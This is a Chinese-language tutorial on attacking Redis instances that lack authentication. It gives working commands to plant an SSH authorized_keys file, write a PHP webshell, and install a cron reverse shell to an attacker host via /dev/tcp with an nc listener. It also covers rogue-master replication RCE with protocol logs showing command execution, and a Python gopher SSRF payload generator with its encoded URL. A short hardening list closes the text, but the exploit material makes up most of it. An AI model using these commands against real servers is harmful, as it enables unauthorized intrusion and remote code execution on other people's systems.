1、redis 绑定在6379端口,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
2、没有设置密码认证(默认密码为空),可以免密码远程登录redis服务。
利用 Redis 自身提供的 config 命令像目标主机 写WebShell、写SSH公钥、创建计划任务反弹Shell等。
先将Redis的本地数据库存放目录设置为 web目录、~/.ssh目录或/var/spool/cron目录等,
然后将dbfilename(本地数据库文件名)设置为文件名 是你想要写入的文件名称,
最后再执行save或bgsave保存,则指定的文件写入指定的目录里了。
- ./redis-cli -h 127.0.0.1 -p 6379
- 查看信息:info
- 删除所有数据库内容:flushall
- 刷新数据库:flushdb
- 查看所有键:KEYS *,使用select num可以查看键值数据
- 设置变量:set test "whoami"
- 设置路径等配置:config set dir [dirpath]
- 获取路径及数据配置信息:config get dir/dbfilename
- 获取所有配置信息:config get *
- 保存:save
- 查看变量名称:get [变量]

前提条件:目标机器开启了ssh服务,且以root权限启动redis
ssh-keygen -t rsa #会创建id_rsa私钥和id_rsa.pub公钥

(echo "\n\n";cat id_rsa.pub)>test.txt #使用\n避免和其他redis缓存数据混合

cat test.txt |redis-cli -h 127.0.0.1 -p 6379 -x set hello // -x 代表从标准输入读取数据作为该命令的最后一个参数

- config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
- config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
- save # 将数据保存在目标服务器硬盘上

- ssh 192.168... #或者
- ssh -i /root/.ssh/id_rsa root@xx.xx.xx.xx


前提条件:需要对方开启了web服务和知道web路径,并有读写权限。
- set x "\n\n\n\n\n\n" #加入\n\n\n防止乱码影响shell
- config set dir /var/www/
- config set dbfilename shell.php
- save
- set x "\n* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1\n"
- config set dir /var/spool/cron/
- config set dbfilename root
- save
nc -lvp 6666
这个方法只能Centos上使用,Ubuntu上行不通,原因如下:
因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/权限644也能执行
因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错。
由于系统的不同,crontrab定时文件位置也会不同:
Centos的定时任务文件在/var/spool/cron/
Ubuntu定时任务文件在/var/spool/cron/crontabs/
适用版本redis 4.x/5.x,目前大多数redis存在于docker中,因此并不会存在redis之外的如ssh、crontab等服务,因此不能用上述方式进行利用。这时候需要用到主从复制。
主从模式是指使用一个redis实例作为主机,其他实例都作为备份机(从机),其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
利用脚本:https://github.com/LoRexxar/redis-rogue-server、GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE
该工具的原理就是首先创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过slaveof命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。
但是该工具只能在目标存在Redis未授权访问漏洞时使用。如果目标Redis存在密码是不能使用该工具的。
- python3 redis-rogue-server_5.py --rhost 172.17.0.3 --rport 6379 --lhost 172.17.0.1 --lport 6381
- TARGET 172.17.0.3:6379
- SERVER 172.17.0.1:6381
- [<-] b'*3\r\n$7\r\nSLAVEOF\r\n$10\r\n172.17.0.1\r\n$4\r\n6381\r\n'
- [->] b'+OK\r\n'
- [<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
- [->] b'+OK\r\n'
- [->] b'*1\r\n$4\r\nPING\r\n'
- [<-] b'+PONG\r\n'
- [->] b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
- [<-] b'+OK\r\n'
- [->] b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
- [<-] b'+OK\r\n'
- [->] b'*3\r\n$5\r\nPSYNC\r\n$40\r\n17772cb6827fd13b0cbcbb0332a2310f6e23207d\r\n$1\r\n1\r\n'
- [<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$42688\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x9f\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
- [<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
- [->] b'+OK\r\n'
- [<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
- [->] b'+OK\r\n'
- ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ redis-cli -h 172.17.0.3
- 172.17.0.3:6379> system.exec "id"
- "\x89uid=999(redis) gid=999(redis) groups=999(redis)\n"
- 172.17.0.3:6379> system.exec "whoami"
- "\bredis\n"
GitHub - Ridter/redis-rce: Redis 4.x/5.x RCE

该工具有一个-a选项,可以用来进行Redis认证。
但是这个工具里少一个exp.so的文件,我们还需要去上面那个到 redis-rogue-server工具中找到exp.so文件并复制到redis-rce.py同一目录下,然后执行如下命令即可:
- #python3 redis-rce.py -r rhost -lhost lhost -f exp.so -a password
- python3 redis-rce.py -r 192.168.43.82 -L 192.168.43.247 -f exp.so -a 657260
执行后,同样可以选择获得一个交互式的shell(interactive shell)或者是反弹shell(reserve shell):

交互式的shell:

反弹shell:

- flushall
- set x ''
- config set dir /var/www/html
- config set dbfilename shell.php
- save
- import urllib
-
- protocol="gopher://"
- ip="192.168.43.82"
- port="6379"
- shell="\n\nwhoami\"]);?>\n\n"
- filename="shell.php"
- path="/var/www/html"
- passwd="" # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
- cmd=["flushall",
- "set x {}".format(shell.replace(" ","${IFS}")),
- "config set dir {}".format(path),
- "config set dbfilename {}".format(filename),
- "save"
- ]
- if passwd:
- cmd.insert(0,"AUTH {}".format(passwd))
- payload=protocol+ip+":"+port+"/_"
-
- def redis_format(arr):
- CRLF="\r\n"
- redis_arr = arr.split(" ")
- cmd=""
- cmd+="*"+str(len(redis_arr))
- for x in redis_arr:
- cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
- cmd+=CRLF
- return cmd
-
- if __name__=="__main__":
- for x in cmd:
- payload += urllib.quote(redis_format(x))
- print payload

ssrf.php?url=gopher%3A%2F%2F192.168.43.82%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

1.关闭6379端口。关闭对外端口防止攻击者利用
2.设置密码登录。不允许未授权空密码的方式直接登录redis,从而更改敏感文件信息。
3.以低权限运行redis服务。
4.禁用高危命令。修改 redis.conf 文件,添加如下内容来禁用远程修改 DB 文件地址
- rename-command FLUSHALL ""
- rename-command CONFIG ""
- rename-command EVAL ""